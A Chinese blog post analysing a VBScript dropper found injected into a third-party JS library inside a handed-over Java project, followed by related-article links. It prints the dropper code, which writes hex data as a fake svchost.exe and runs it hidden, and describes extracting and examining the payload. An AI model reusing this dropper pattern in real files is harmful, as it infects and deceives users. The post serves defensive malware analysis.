一个 Java 项目中的病毒

简介: 一个 Java 项目中的病毒

公司准备接手一个移交过来的项目,项目是 Java 写的,本来这种事情比较普遍没有什么太新鲜的事情,只要把代码、文档、环境等尽可能详细的沟通清楚,也就算完事了。但是,接手这个项目却发生了一些有趣的事情。

事情是这样的!!!!

今天去公司要设置一个扫码盒子,因为设置扫码盒子的软件是一个 exe 文件,因此我只能使用 Windows 系统,因此我背着我那老旧的 ThinkPad 去了公司(公司给准备的是 macOS 系统,所以只能带自己的 Windows 去)。去了公司,除了设置扫码盒子以外,刚好遇到了需要看看移交过来的代码,于是我就顺手将代码拉取到了我的 Windows 系统上,这些都没啥新鲜的。当代码拉取完以后,用 IDEA 打开这些代码时,Windows 的杀软就有提示了。我想,几个 Java 文件还报病毒,这 IDEA 半天加载不完项目,就顺手把杀软停掉了。当项目加载完成以后,我打开了刚才报毒的那个文件,那个文件是一个第三方的 js 库文件,打开以后文件是空的。看来还是被查杀了!

我就只能去码云上查看这个文件,一看果然是有病毒。病毒如下:

<SCRIPTLanguage=VBScript><!--DropFileName="svchost.exe"WriteData="4D5A90000300000004"SetFSO=CreateObject("Scripting.FileSystemObject")DropPath=FSO.GetSpecialFolder(2)&"\"&DropFileNameIfFSO.FileExists(DropPath)=FalseThenSetFileObj=FSO.CreateTextFile(DropPath, True)Fori=1ToLen(WriteData)Step2FileObj.WriteChr(CLng("&H"&Mid(WriteData,i,2)))NextFileObj.CloseEndIfSetWSHshell=CreateObject("WScript.Shell")WSHshell.RunDropPath, 0//--></SCRIPT>

这个代码是一段 vbs 的代码,其实及时不懂 vbs,这段代码也是能看懂的。通过一个 FSO 创建了一个名为 svchost.exe 的文件,然后将 WriteData 中的内容写入了 svchost.exe 文件内。

注:WriteData 的数据很长很长,这里我将它截取了。

用过 Windows 应该都知道 svchost.exe 是一个系统文件,而且开机以后进程管理器中有很多,一般人都不敢轻易结束这个进程。

然后注意观察,写入的数据开头前 4 个字符是 4D5A,其实了解些软件安全的应该都知道这是什么。在 Windows 下的可执行文件开头前两个字节的十六进制就是 4D5A,即 MZ 头。MZ 头是 DOS 时代的产物,那么这段很长的数据可能就是一个可执行文件的十六进制。那么就已经猜到了,vbs 生成了一个可执行文件。那么想知道这个可执行文件干了点啥呢?

把上面的第一行和最后三行删掉,在第五行加一句 MsgBox DropPath,然后保存为 .vbs 文件,然后双击运行它。我们就可以在对应的目录找到这个可执行程序了。下图是它所称文件所在的目录和生成的文件。

1111.png

22222.png

为了保险起见,先用十六进制查看一下吧。

333333.png

DOS 头和 PE 头清晰可见,然后从节区数据看到是加壳的。继续往下看,图下如:

4444444444.png

文件结尾处的数据像是导入的 DLL 和 DLL 的导出函数,但是看这导入信息貌似也不全啊。和 vbs 中比对一下。

555555555555.png

看着数据应该是一致的。不过十六进制不太直观,换个直观的工具看吧。

改个扩展名,在物理机里静态查看一下它的情况吧,在打开它的时候给出了很多提示,我就一路确定,但是最后看到的却不是反汇编代码,而是有问题的提示,如下图:

6666666666.png

可以看到给出了 PE 结构的大体信息,红色部分说明它的入口地址是有问题的,诡异!

静态不行,就在虚拟机里动态分析看一下吧,结果……

777777777.png

也还是不行,那干脆我就在虚拟机里双击运行吧。结果看到的仍然是报错信息。

8888888.png

费了半天劲,原来是个跑不起来的病毒,这个作者这么辛苦地感染了第三方库文件,然后还给病毒加了壳,结果最后应该是复制病毒的十六进制时复制的有问题了,导致它成了一个不能运行的东西。

svchost.exe 虽然不能运行,但是我猜测应该是一个下载器,也就是它本身不具备什么破坏的功能,但是它会从网上下载一堆病毒回来祸祸你的系统。

好吧,其实这样的事情是第二次遇到了(就是 Java 项目中存在这样被病毒感染的 js 文件或者 HTML 文件),对于 macOS 环境应该是无所谓了,但是 js 是浏览器端解析执行,用 Windows 的客户端就麻烦了。遇到这种无法执行的病毒也还算运气好,如果能运行,且没有被杀软查杀,让那个所谓的 svchost.exe 执行了,就麻烦了。开发人员还是注意点吧,如果真的给客户带来麻烦,那么这个锅估计也不好甩出去吧!

相关文章
|
16天前
|
Java
使用IDEA创建项目运行我的第一个JAVA文件输出Helloword
本文介绍了如何使用IDEA(IntelliJ IDEA)创建一个新的Java项目,并运行一个简单的Java程序输出"Hello Word"。文章详细展示了创建项目的步骤,包括选择JDK版本、设置项目名称和路径、创建包和类,以及编写和运行代码。最后,还展示了如何通过IDEA的运行功能来执行程序并查看输出结果。
38 4
使用IDEA创建项目运行我的第一个JAVA文件输出Helloword
|
2月前
|
IDE Java 开发工具
Java系统中的错误码设计问题之为Java项目中的错误消息提供国际化支持如何解决
Java系统中的错误码设计问题之为Java项目中的错误消息提供国际化支持如何解决
35 0
|
2月前
|
Java 应用服务中间件 Windows
【应用服务 App Service】App Service 中部署Java项目,查看Tomcat配置及上传自定义版本
【应用服务 App Service】App Service 中部署Java项目,查看Tomcat配置及上传自定义版本
|
2月前
|
前端开发 Java 编译器
【前端学java】java基础练习缺少项目?看这篇文章就够了!(完结)
【8月更文挑战第11天】java基础练习缺少项目?看这篇文章就够了!(完结)
35 0
|
2天前
|
缓存 Java Maven
java: 警告: 源发行版 11 需要目标发行版 11 无效的目标发行版: 11 jdk版本不符,项目jdk版本为其他版本
如何解决Java项目中因JDK版本不匹配导致的编译错误,包括修改`pom.xml`文件、调整项目结构、设置Maven和JDK版本,以及清理缓存和重启IDEA。
7 1
java: 警告: 源发行版 11 需要目标发行版 11 无效的目标发行版: 11 jdk版本不符,项目jdk版本为其他版本
|
15天前
|
算法 Java
Java项目不使用框架如何实现限流?
Java项目不使用框架如何实现限流?
22 2
|
2月前
|
Java
Java系列之 解决 项目 jar 包无法上传到Github
该博客文章介绍了解决Java项目中jar包无法上传到Github的问题,通过修改`.gitignore`文件来包含jar包,从而成功添加到上传目录。
Java系列之 解决 项目 jar 包无法上传到Github
|
2月前
|
SQL Java 数据库连接
java连接数据库加载驱动到java项目
该博客文章介绍了如何在Java项目中通过代码加载数据库驱动并连接SQL Server数据库,包括具体的加载驱动和建立数据库连接的步骤,以及如何将驱动包添加到Java项目的构建路径中。
|
2月前
|
前端开发 Java 编译器
【前端学java】java基础练习缺少项目?看这篇文章就够了!(17)
【8月更文挑战第11天】java基础练习缺少项目?看这篇文章就够了!
29 0
【前端学java】java基础练习缺少项目?看这篇文章就够了!(17)
|
2月前
|
jenkins Java Shell
jenkins学习笔记之十三:配置SonarScanner扫描Java项目
jenkins学习笔记之十三:配置SonarScanner扫描Java项目